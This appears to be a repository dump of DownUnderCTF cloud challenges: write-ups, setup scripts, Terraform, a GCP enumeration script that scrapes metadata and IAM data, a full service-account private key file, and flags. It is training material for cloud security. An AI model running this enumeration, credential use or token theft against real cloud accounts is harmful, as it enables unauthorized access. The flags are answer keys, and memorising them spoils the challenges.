"-----BEGIN PRIVATE KEY-----PRIVATE KEY-----\n", "client_email": "legacy-svc-account@${SOME_PROJECT_NAME}.iam.gserviceaccount.com", "client_id": "110800087806377709098", "auth_uri": "https://accounts.google.com/o/oauth2/auth", "token_uri": "https://oauth2.googleapis.com/token", "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/legacy-svc-account%40${SOME_PROJECT_NAME}.iam.gserviceaccount.com" } ``` Note that I have removed the private key and the project name given that these could change in the real challenge. However this key gives us a bit of insight, we now know the project name. We know that the service account is called `legacy-svc-account`. Cool lets go ahead and see what we can do with it. Activated the key with `gcloud auth activate-service-account --key-file=legacy.json` Then lets make sure we are looking at the right project but running: `gcloud config set project ${SOME_PROJECT_NAME}` NOTE: We get the project name from the Key above. Okay so let's run the enumeration script from before and see what we get in the output. The script is a bit old so we get some false positives, but looking in the output folder from the script we can see what it actually found. After scanning everything we only really get one result which is: ``` [*] Enumerating crypto keys [+] SUCCESS [!] FAIL [+] SUCCESS ``` And looking in `kms.txt` we see ``` NAME projects/cloudsupporthacks/locations/global/keyRings/empty-keyring ``` Hmm okay, so there is no keys in this keyring but surely this is here for a reason. It also tells us that we DO have permission to list keyrings. So maybe there are other keyrings we can't see. A bit of research into this you should find that [keyrings](https://cloud.google.com/sdk/gcloud/reference/kms/keyrings/list) are coupled with a location and by default we are looking at the GLOBAL location. So let's try and see if there are any other keyrings in any other region. So let's a get a list of all available regions in GCP. We quickly grab a list from online and put it together, or if you haver another GCP project you have access to you can run. `gcloud compute regions list --format=value(name) > regions.txt` Then lets try and list all the keyrings again but in each region so: `for region in $(cat regions.txt); do gcloud kms keyrings list --location ${region}; done;` And bingo from within the output we get ``` NAME projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks ``` A keyring in the `australia-southeast2` region, this is good to know and to note down. Let's see if there are any keys in that keyring. ```bash gcloud kms keys list --keyring wardens-locks --location australia-southeast2 NAME PURPOSE ALGORITHM PROTECTION_LEVEL LABELS PRIMARY_ID PRIMARY_STATE projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-big-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-bronze-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-diamond-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-fat-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-filthy-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-golden-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-jail-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-key-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-northern-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-secret-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-silver-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-small-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-smart-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/an-iron-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED ``` Jeez okay so now we have a whole lot of keys that are all enabled and can do SYMMETRIC_ENCRYPTION. There isn't really much else we can do with this since, we need something to encrypt/decrypt. To use this, so let's keep looking. There has to be some other piece of data that we are missing. But after investigating the GCP_ENUM script we don't see anything. Going back to the challenge description we see the word `secretive` is in italics, is this a hint pointing towards Cloud Secrets? Lets try and list the secrets in the project. ```bash gcloud secrets list NAME CREATED REPLICATION_POLICY LOCATIONS unused_data 2021-08-27T04:14:12 automatic - ``` Bingo, another permission we have found we have is to list secrets. Can we... access the secrets? Let's try: ``` gcloud secrets versions list unused_data NAME STATE CREATED DESTROYED 1 enabled 2021-08-27T04:14:16 - ``` So there is only 1 version which is enabled lets try and grab it: ```bash gcloud secrets versions access 1 --secret unused_data CiQA2HYKWM869h0ZRmbEdHfu4AndTgPleZ7sklglz+ifGk/nBU8SZgDcCnx57Or2BojHjcMNJHv+++e6B0Heul1bagPi1xuQ5q+/riw7sy26bDUZpp8/105NI34IkszTMFBfsXvOgMqaMNBu/oGdL07hBLcS5ZCHLK7J9U9AhjZo457NiUcqfjg2u2ErZg== ``` Nice! Some base64, however if we base64 decode it, we just get random data...... encrypted data! Let's try and use some of the keys from above to see if we can decrypt this data. Saving the decoded base64 to a file called secret.enc. However we don't know which key to use... or how many. No problems lets just write another for loop. So lets use [this](https://cloud.google.com/sdk/gcloud/reference/kms/decrypt) command as a reference so we can try this again. First we need to export a list of the key names in the key ring: ```bash gcloud kms keys list --keyring wardens-locks --location australia-southeast2 --format=value\(name\) | cut -d/ -f8 a-big-key a-bronze-key a-diamond-key a-fat-key a-filthy-key a-golden-key a-jail-key a-key-key a-northern-key a-secret-key a-silver-key a-small-key a-smart-key an-iron-key ``` Let's save that to a file called keys.txt and give this another go: ```bash for key in $(cat keys.txt); do echo Trying $key...; gcloud kms decrypt --key=$key --keyring=wardens-locks --location australia-southeast2 --ciphertext-file=./cipher.enc --plaintext-file=final.txt; done Trying a-big-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. Trying a-bronze-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. Trying a-diamond-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. Trying a-fat-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. Trying a-filthy-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. Trying a-golden-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. Trying a-jail-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. Trying a-key-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. Trying a-northern-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. Trying a-secret-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. Trying a-silver-key... Trying a-small-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. Trying a-smart-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. Trying an-iron-key... ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey. ``` This doesn't look promising. However, we see that final.txt was actually created! And a-silver-key didn't error out. Looking at `final.txt` We get the flag! `DUCTF{its_time_to_clean_up_your_service_account_permissions!}` ================================================ FILE: cloud/lost-n-found/src/enum_script/gcp_enum.sh ================================================ #!/bin/bash ############################################################################### # GCP enumeration script by the GitLab Red Team. # This script is meant to run from a Linux Google Compute Instance. All # commands are passive, and will generate miscellaneous text files in the # `out-gcp-enum` folder in the current working directory. # Just run the script. Provide a "-d" argument to debug stderr. ############################################################################### OUTDIR="out-gcp-enum-$(date -u +'%Y-%m-%d-%H-%M-%S')" META="http://metadata.google.internal" DEBUG="$1" # We want a unique output dir, to avoid overwriting anything if [[ ! -d "$OUTDIR" ]]; then mkdir "$OUTDIR" echo "[*] Created folder '$OUTDIR' for output" else echo "[!] Output folder exists, something went wrong! Exiting." exit 1 fi # This function will help standardize running a command, appending to a log # file, and reporting on whether or not it completed successfully function run_cmd () { # Syntaxt will be: run_cmd "[COMMAND]" "[LOGFILE]" command="$1" outfile="$OUTDIR"/"$2" # If script is run with '-d' as the first argument, stderr will be shown. # Otherwise, we just assume stderr is a permission thing and give a generic # failure message. if [[ "$DEBUG" == "-d" ]]; then /bin/bash -c "$command" >> "$outfile" else /bin/bash -c "$command" >> "$outfile" 2>/dev/null fi # Not providing robust error messages if [ $? -eq 0 ]; then echo " [+] SUCCESS" else echo " [!] FAIL" fi } # From here on the syntax is: # run_cmd "[COMMAND]" "[LOGFILE]" echo "[*] Analyzing gcloud configuration" run_cmd "gcloud info --quiet" "gcloud-info.txt" run_cmd "gcloud config list --quiet" "gcloud-info.txt" run_cmd "gcloud auth list --quiet" "gcloud-info.txt" echo "[*] Scraping metadata server" url="$META/computeMetadata/v1/?recursive=true&alt=text" run_cmd "curl '$url' -H 'Metadata-Flavor: Google'" "metadata.txt" echo "[*] Exporting detailed compute instance info" run_cmd "gcloud compute instances list --quiet --format=json" "compute-instances.json" echo "[*] Exporting detailed firewall info" run_cmd "gcloud compute firewall-rules list --quiet --format=json" "firewall.json" echo "[*] Exporting detailed subnets info" run_cmd "gcloud compute networks subnets list --quiet --format=json" "subnets.json" echo "[*] Exporting detailed service account info" run_cmd "gcloud iam service-accounts list --quiet --format=json" "service-accounts.json" echo "[*] Exporting detailed service account key info" for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do run_cmd "gcloud iam service-accounts keys list --quiet --iam-account $i --quiet --format=json" \ "service-account-keys.json" done echo "[*] Exporting detailed project IAM info" url="$META/computeMetadata/v1/project/project-id" prj=$(curl $url -H "Metadata-Flavor: Google" -s) run_cmd "gcloud projects get-iam-policy $prj --quiet --format=json" "iam-policy-project.json" echo "[*] Exporting detailed organization IAM info" for i in $(gcloud organizations list | awk '{print $2}' | tail -n +2); do run_cmd "gcloud organizations get-iam-policy $i --quiet" "iam-policy-org-$i.json" done echo "[*] Exporting detailed available project info" run_cmd "gcloud projects list --quiet --format=json" "projects.json" echo "[*] Exporting detailed instance template info" run_cmd "gcloud compute instance-templates list --quiet --format=json" "compute-templates.json" echo "[*] Exporting detailed custom image info" run_cmd "gcloud compute images list --no-standard-images --quiet --format=json" "compute-images.json" echo "[*] Exporting detailed Cloud Functions info" run_cmd "gcloud functions list --quiet --format=json" "cloud-functions.json" echo "[*] Exporting detailed Pub/Sub info" run_cmd "gcloud pubsub subscriptions list --quiet --format=json" "pubsub.json" echo "[*] Exporting detailed compute backend info" run_cmd "gcloud compute backend-services list --quiet --format=json" "backend-services.json" echo "[*] Exporting detailed cloud run info" run_cmd "gcloud compute backend-services list --quiet --format=json" "backend-services.json" echo "[*] Exporting detailed AI platform info" run_cmd "gcloud ai-platform models list --quiet --format=json" "ai-platform.json" run_cmd "gcloud ai-platform jobs list --quiet --format=json" "ai-platform.json" echo "[*] Exporting detailed Cloud Source Repository info" run_cmd "gcloud run services list --platform=managed --quiet --format=json" "cloud-run-managed.json" run_cmd "gcloud run services list --platform=gke --quiet --format=json" "cloud-run-gke.json" echo "[*] Exporting detailed Cloud SQL info" run_cmd "gcloud sql instances list --quiet --format=json" "cloud-sql-instances.json" for i in $(gcloud sql instances list --quiet | awk '{print $1}' | tail -n +2); do run_cmd "gcloud sql databases list --instance $i --quiet" "cloud-sql-databases.txt" done echo "[*] Exporting detailed Cloud Spanner info" run_cmd "gcloud spanner instances list --quiet --format=json" "cloud-spanner-instances.json" for i in $(gcloud spanner instances list --quiet | awk '{print $1}' | tail -n +2); do run_cmd "gcloud spanner databases list --quiet --instance $i" "cloud-spanner-databases.txt" done echo "[*] Exporting detailed Cloud Bigtable info" run_cmd "gcloud bigtable instances list --quiet --format=json" "cloud-bigtable.json" echo "[*] Exporting detailed Cloud Filestore info" run_cmd "gcloud filestore instances list --quiet --format=json" "cloud-filestore.json" echo "[*] Exporting Stackdriver logging info" run_cmd "gcloud logging logs list --quiet --format json" "logging-folders.json" for i in $(gcloud logging logs list --quiet --format="table[no-heading](.)"); do echo Looking for logs in $i: short=$(echo "$i" | tr "/" ".") run_cmd "gcloud logging read $i --quiet --format=json" "logging-$short.json" done echo "[+] All done, good luck!" echo "[*] Exporting Kubernetes info" run_cmd "gcloud container clusters list --quiet --format json" "k8s-clusters.json" run_cmd "gcloud container images list --quiet --format json" "k8s-images.json" echo "[*] Enumerating storage buckets" run_cmd "gsutil ls" "buckets.txt" run_cmd "gsutil ls -L" "buckets.txt" for i in $(gsutil ls); do run_cmd "gsutil ls $i" "buckets.txt" done echo "[*] Enumerating crypto keys" run_cmd "gcloud kms keyrings list --location global --quiet" "kms.txt" for i in $(gcloud kms keyrings list --location global --quiet); do run_cmd "gcloud kms keys list --keyring $i --location global --quiet" "kms.txt" done echo "[+] All done, good luck!" ================================================ FILE: cloud/lost-n-found/src/flag.txt ================================================ DUCTF{its_time_to_clean_up_your_service_account_permissions!} ================================================ FILE: cloud/lost-n-found/src/legacy.json ================================================ { "type": "service_account", "project_id": "ductf-lost-n-found", "private_key_id": "204a0a9969f97549e646f592d1732f5e478492d7", "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCxEd53/PMy+kTz\nf0WTfkk5V7QTc746dz3/RAdgisBm0pJz/prrUKc8g6RfaG7x5EhDIKymNytALcrR\nl/OM9+zDtkK8+r8lwcn/rqH+upPS0fJrVxRElZVLbK6hUn/6dX48n2zV7ANanPuG\nhBR6jICi7aCGUYMch7BocMhMvrtidUaMghp0hjUIO3Gkn+MDwmxhonqsCHJG0VHM\nDDE+NpOIhahjqvlSx6r+4SJjSPgvUElvyg9fo6EcQBk7lKE5ZYKXukBhuDfoWSiw\nMqL4N60sZA3bxlkgopW1Z6feqJTyzogbbsV5ude0+HOo3ATrx+ffnz05VTecHLLp\n5vrjkrR3AgMBAAECggEAB2fc6x3MOiSXf6uiCFIu09QkNvAPU7irAiMhP9ttwp8p\n+un6Jr9fzzseQ9NFWJ6Ymx4hum3yRCPmKK/3Qr0XzPOxhN/j4LtjLGtsYRACoL2h\nKvYgZeHvtZDdGOgvbBU/618rmSLe3QpVxsF9bca0lpvjq9p65lWSfjvBVNxhT/PP\n56aHHUsd1S3d1pwx71sNTWQqVJVg5JVaJx4SVuF7aGDYV9LPOi+dZPRmJV1YiH7v\nMpRQ6TOrsbK5yowIon3j8mm8S0Fxh6w46+6oKozC7DNIc93zsDKCy0c7kgFuBWpz\ne3+Wfz8fKCdc5D+gfDaPCUbFqZxEHFYRnkBbZiaM0QKBgQDaw5lRaBWl3Fu5mTwg\nByjW7zXdKusZhP6RbMV3R/77hiyawuqp12dEgWLLRo0pq0KOtpS93BfjectqndcJ\nq7xODHuWQfZAQNvR9LSsyxf2W160G2KeQajR/OUHvyjHUDRsgDy8q4vGc9ojodwK\n7is+eGdnr4HcRH5+zuaq1dXkbwKBgQDPNX025k/zu1vvSm3kF1AE68vP9kLY/oIU\n2ipKi0t11s0r03OIpBy6Hs8GiHejAgB+5tTLQS4S3wfsO4D17Z+jSK7Ejl0efxJw\nB0apYo2w76LBmDD2uWlfzlzQYwZinfs/8TUGBNpAxHqVjPm+ayl7ACBNzCTTHSKM\n/TXEqJgEeQKBgQDaZ08pA+Yg6ee1WvO48gzm0HkRLmj62FkirNpT5M//IwxjEdgf\n6kpSDW6pjO0fvbg8LLJA/nvnAdCAx8ZJBGiB71pvP7lumpIbgdfjbvukW8Inw/No\nFhtKUdYCLumyWzOLY1e/8PAiF8Wfr1e0neUUgDaUQJdAZi13wm5t/gCGBwKBgHFH\nGLEOr97bKqNi2Ti81e4ayk1in6DpYkvsCPq/s/0z9O5kpuCod1v4w80ahe0DhynZ\nH7QOahW/ACHRVescgQ1PCtxBx/6IEZhVIfgv/K4iE6Qqg3oeWtEZi/wQZsk6/MQ0\nJXyo4nhN8YYYj9/dzcuEgiSF2gvf/ad+NgrQ8GphAoGAcQH3rRoC/IFhUCYbX4Ya\nE/9tHj6U+oG/q4C7Yba/oJ/mPa5NMZtidUj1IwdQCgB3oO7slz0hseXi5iG4viHl\n8FJKxMy2LGJ4+cPjSgOLKaA2iBMxCrIsCFM39qa+8SnBxaXg+UopyFsK7GQIYkoY\nEm/drz8sZGJKBFJoE+NJyWM=\n-----END PRIVATE KEY-----\n", "client_email": "legacy-svc-account@ductf-lost-n-found.iam.gserviceaccount.com", "client_id": "103100904971904770440", "auth_uri": "https://accounts.google.com/o/oauth2/auth", "token_uri": "https://oauth2.googleapis.com/token", "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/legacy-svc-account%40ductf-lost-n-found.iam.gserviceaccount.com" } ================================================ FILE: cloud/lost-n-found/src/setup.sh ================================================ #!/bin/bash SERVICE_ACCOUNT_NAME=legacy-svc-account PROJECT_NAME=ductf-lost-n-found gcloud config set project ${PROJECT_NAME} # Enable APIs gcloud services enable cloudkms.googleapis.com secretmanager.googleapis.com # Create key ring gcloud kms keyrings create empty-keyring --location global # This is so they get a hint to look at KMS gcloud kms keyrings create wardens-locks --location australia-southeast2 # The real keyring # Create multiple keys gcloud kms keys create a-small-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create a-golden-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create an-iron-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create a-bronze-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create a-silver-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create a-diamond-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create a-filthy-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create a-jail-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create a-northern-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create a-secret-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create a-smart-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create a-big-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create a-fat-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" gcloud kms keys create a-key-key --keyring wardens-locks --location australia-southeast2 --purpose "encryption" # Disable all keys except for one # Encrypt the flag with the key gcloud kms encrypt --keyring wardens-locks --key a-silver-key --location australia-southeast2 --plaintext-file ./flag.txt --ciphertext-file=./cipher.enc base64 -w 0 ./cipher.enc > cipher.enc.b64 # Store the base64 encrypted flag as a secret gcloud secrets create unused_data --data-file=cipher.enc.b64 # Create the service account gcloud iam service-accounts create ${SERVICE_ACCOUNT_NAME} --description="Useless account to protect from takeovers" # Create role with required permissions gcloud iam roles create Warden --project=${PROJECT_NAME} --title Warden --stage GA --permissions cloudkms.cryptoKeyVersions.useToDecrypt,cloudkms.cryptoKeys.get,cloudkms.cryptoKeys.list,cloudkms.keyRings.get,cloudkms.keyRings.list,cloudkms.locations.get,cloudkms.locations.list # Create the IAM binding with the correct roles gcloud projects add-iam-policy-binding ${PROJECT_NAME} \ --member=serviceAccount:${SERVICE_ACCOUNT_NAME}@${PROJECT_NAME}.iam.gserviceaccount.com --role projects/${PROJECT_NAME}/roles/Warden gcloud projects add-iam-policy-binding ${PROJECT_NAME} \ --member=serviceAccount:${SERVICE_ACCOUNT_NAME}@${PROJECT_NAME}.iam.gserviceaccount.com --role roles/secretmanager.viewer # Get the Service account key. gcloud iam service-accounts keys create legacy.json --iam-account=${SERVICE_ACCOUNT_NAME}@${PROJECT_NAME}.iam.gserviceaccount.com ================================================ FILE: cloud/notasbadbucket/README.md ================================================ # Not as Bad Bucket **Creator:** Blue Alder **Category:** cloud **Difficulty:** easy ## Flavortext Okay fine I admit it, we didn't invest in security in my previous website and we learnt our lesson. Luckily we had a Professional Cloud Architect, architect our new security strategy for our website 2.0! https://storage.googleapis.com/${BUCKET_NAME}/index.html ## Quick Overview of exploit Bucket is configured to allow all authenticated users to list and view, looking at the root directy with `gsutil` we can see a flag at pics/flag.txt Flag: DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly} ================================================ FILE: cloud/notasbadbucket/challenge.yml ================================================ version: "0.1" id: not-as-bad-bucket name: Not as Bad Bucket category: cloud description: > Okay fine I admit it, we didn't invest in security in my previous website and we learnt our lesson. Luckily we had a Professional Cloud Architect, architect our new security strategy for our website 2.0! Author: Blue Alder connection_info: https://storage.googleapis.com/ductf-not-as-bad-ductf/index.html tags: - easy flags: - DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly} ================================================ FILE: cloud/notasbadbucket/solution.md ================================================ # Not as Bad Bucket This was a semi-sequel to Bad Bucket but you could do both individually. We are again presented with a URL https://storage.googleapis.com/${BUCKET_NAME}/index.html to a site which again is hosted on a bucket. Given that the challenge is again slanted towards buckets there is probably something we have to do here. The website also notes that >`I was made aware of a security flare in my previous website setup, but that has been patched up and now only secret files can be accessed by logged in employees! Phew!` We can try to enumerate the bucket by listing its contents in the browser https://storage.googleapis.com/${BUCKET_NAME} but we get an access denied error. The hint above is pointing towards the user group of `allAuthenticatedUsers` which is a group that is allowed access to resources when you are logged in (so basically not anonymous). To test this out we can try and list the bucket contents logged in through `gcloud` Running `gsutil ls gs://${BUCKET_NAME}` We get the output of ``` gs://${BUCKET_NAME}/index.html gs://${BUCKET_NAME}/pics/ ``` Awesome so now we can list, lets take a look in the pics/ directory `gsutil ls gs://${BUCKET_NAME}/pics` ``` gs://${BUCKET_NAME}/pics/flag.txt gs://${BUCKET_NAME}/pics/lisa.jpg ``` Lets go ahead and grab that `flag.txt` with `gsutil cp gs://${BUCKET_NAME}/pics/flag.txt .` And reading the file we get the flag! `DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly}` ================================================ FILE: cloud/notasbadbucket/src/index.html ================================================ Cloud Time!

Hello and welcome to my website

I'm really happy you could make it to my site! I'm still working on some things and getting up and started but hey I hope you like my website

While I'm still getting everything up and running please feel free to look at some of these memes!

I was made aware of a security issue in my previous website setup, but that has been patched up and now only secret files can be accessed by logged in employees! Phew!

Progress of website being done

================================================ FILE: cloud/notasbadbucket/src/pics/flag.txt ================================================ DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly} ================================================ FILE: cloud/notasbadbucket/terraform/.gitignore ================================================ .terraform .terraform.lock.hcl terraform.tfstate terraform.tfstate.backup ================================================ FILE: cloud/notasbadbucket/terraform/terraform.tf ================================================ provider "google" { project = var.project_id region = "australia-southeast1" zone = "australia-southeast1-b" } resource "google_storage_bucket" "bucket-bucket" { name = var.bucket_name location = "AUSTRALIA-SOUTHEAST1" force_destroy = true uniform_bucket_level_access = false website { main_page_suffix = "index.html" } } data "google_iam_policy" "viewer" { binding { role = "roles/storage.objectViewer" members = [ "allAuthenticatedUsers", ] } } resource "google_storage_bucket_iam_policy" "policy" { bucket = google_storage_bucket.bucket-bucket.name policy_data = data.google_iam_policy.viewer.policy_data } resource "google_storage_bucket_object" "object1" { name = "pics/lisa.jpg" source = "../src/pics/lisa.jpg" bucket = google_storage_bucket.bucket-bucket.name depends_on = [google_storage_bucket.bucket-bucket] } resource "google_storage_bucket_object" "object_html" { name = "index.html" source = "../src/index.html" bucket = google_storage_bucket.bucket-bucket.name depends_on = [google_storage_bucket.bucket-bucket] } resource "google_storage_bucket_object" "object_flag" { name = "pics/flag.txt" source = "../src/pics/flag.txt" bucket = google_storage_bucket.bucket-bucket.name depends_on = [google_storage_bucket.bucket-bucket] } ================================================ FILE: cloud/notasbadbucket/terraform/terraform.tfvars ================================================ project_id = "ductf-not-as-bad-bucket" # Update: Desired project name. bucket_name = "ductf-not-as-bad-ductf" ================================================ FILE: cloud/notasbadbucket/terraform/variables.tf ================================================ variable "project_id" { description = "GCP Project id" type = string } variable "bucket_name" { description = "Name of the bucket" type = string } ================================================ FILE: cloud/whale_blog/README.md ================================================ # Whale Blog **Creator:** Blue Alder **Category:** cloud **Difficulty:** medium ## Flavortext You're probably thinking, oh wow here is another challenge author thinking they would be smart by having the word `whale` in the challenge title, oh wow it's probably Docker. Well you're right whale=docker this challenge has to do with docker. Get that flag⛳. whale-blog.duc.tf ## Quick Overview of exploit LFI in the main page on a kubernetes deployment means they can get service account token. Use token to read secrets on the Kube cluster by connecting to it directly. Flag: DUCTF{g00nies_got_th1s_l4st_year_now_u_did!} ================================================ FILE: cloud/whale_blog/challenge.yml ================================================ version: "0.1" id: whale-blog name: Whale Blog category: cloud description: > You're probably thinking, oh wow here is another challenge author thinking they would be smart by having the word whale in the challenge title, oh wow it's probably Docker. Well you're right whale=docker this challenge has to do with docker. Get that flag ⛳. Author: Blue Alder connection_info: http://whale-blog.duc.tf:30000 tags: - medium flags: - DUCTF{g00nies_got_th1s_l4st_year_now_u_did!} ================================================ FILE: cloud/whale_blog/setup.sh ================================================ #!/bin/bash # Run this script to set up the challenge, update the below variables to what you like PROJECT_NAME=cloudsupporthacks CLUSTER_NAME=very-secure5 CONTAINER_NAME=lfi ZONE=australia-southeast1-b SERVICE_ACCOUNT_NAME=useless-account gcloud config set project ${PROJECT_NAME} # docker build -t gcr.io/${PROJECT_NAME}/lfi:latest . # Need to enable, compute, gke, iam, build, gcloud services enable cloudbuild.googleapis.com compute.googleapis.com container.googleapis.com containerregistry.googleapis.com iam.googleapis.com # Create, build and push the Vulnerable LFI container gcloud builds submit --tag=gcr.io/${PROJECT_NAME}/${CONTAINER_NAME}:latest src/ # Create useless service account that the nodes will runas gcloud iam service-accounts create ${SERVICE_ACCOUNT_NAME} --description="Useless account to protect from takeovers" # Create the cluster with 1 node in the one zone gcloud container clusters create ${CLUSTER_NAME} --num-nodes=1 --zone australia-southeast1-b --service-account ${SERVICE_ACCOUNT_NAME}@${PROJECT_NAME}.iam.gserviceaccount.com # Load credentials for the cluster into kubectl gcloud container clusters get-credentials ${CLUSTER_NAME} --zone australia-southeast1-b # Format the config file with the project name and container name cp src/config.yaml src/config-formatted.yaml sed -i "s/{{PROJECT_NAME}}/${PROJECT_NAME}/g" src/config-formatted.yaml sed -i "s/{{CONTAINER_NAME}}/${CONTAINER_NAME}/g" src/config-formatted.yaml # Apply the config and deploy the workload kubectl apply -f src/config-formatted.yaml # Delete created config.yaml file rm src/config-formatted.yaml # Apply permission updates and store the secret flag kubectl apply -f src/permission.yaml # Enable Traffic to port 30000 on the nodes. gcloud compute firewall-rules create test-node-port --allow tcp:30000 # Output the Node IP kubectl get nodes --output wide external_ip=$(kubectl get nodes --output jsonpath="{.items[0].status.addresses[1].address}") echo "Access the challenge at: http://${external_ip}:30000" cluster_external_ip=$(gcloud container clusters describe ${CLUSTER_NAME} --zone ${ZONE} --format='get(endpoint)') echo "Cluster External API located at https://${cluster_external_ip}" ================================================ FILE: cloud/whale_blog/solution.md ================================================ # Whale Blog !NOTE Some of these IP addresses/domains may be different to the ones used in the actual CTF. This was a kubernetes challenge! As hinted by the whale. So we are given an entry point URL of http://whale-blog.duc.tf:30000/ We get a simple page with a Whale video on it, epic. If we view the source we see a reference comment thats says: `I wonder if we will deploy this at whale-blog.duc.tf or at whale-endpoint.duc.tf` Since the endpoint we have is whale-blog.duc.tf we can check out what the other url points to. when we try and access through the browser we get a certificate error however if we ignore tls errors through curl with `curl https://whale-endpoint.duc.tf/ -k` We get ```json { "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"", "reason": "Forbidden", "details": { }, "code": 403 } ``` In the response. If we google this error message we can see that it is the Kubernetes API, however since we are anonymous we will not be able to do anything. Let's leave this for now. If we click the link below the video nothing seems to happen but our url changes to http://whale-blog.duc.tf:30000/?page=page1. So it seems like it is expecting something in the `page` parameter, if we check the source again we can see that the comment at the top of the webpage changes depending on what we put in the `page` parameter. Let's see if we can change this to something arbitrary to see if this page is including this file in the page. 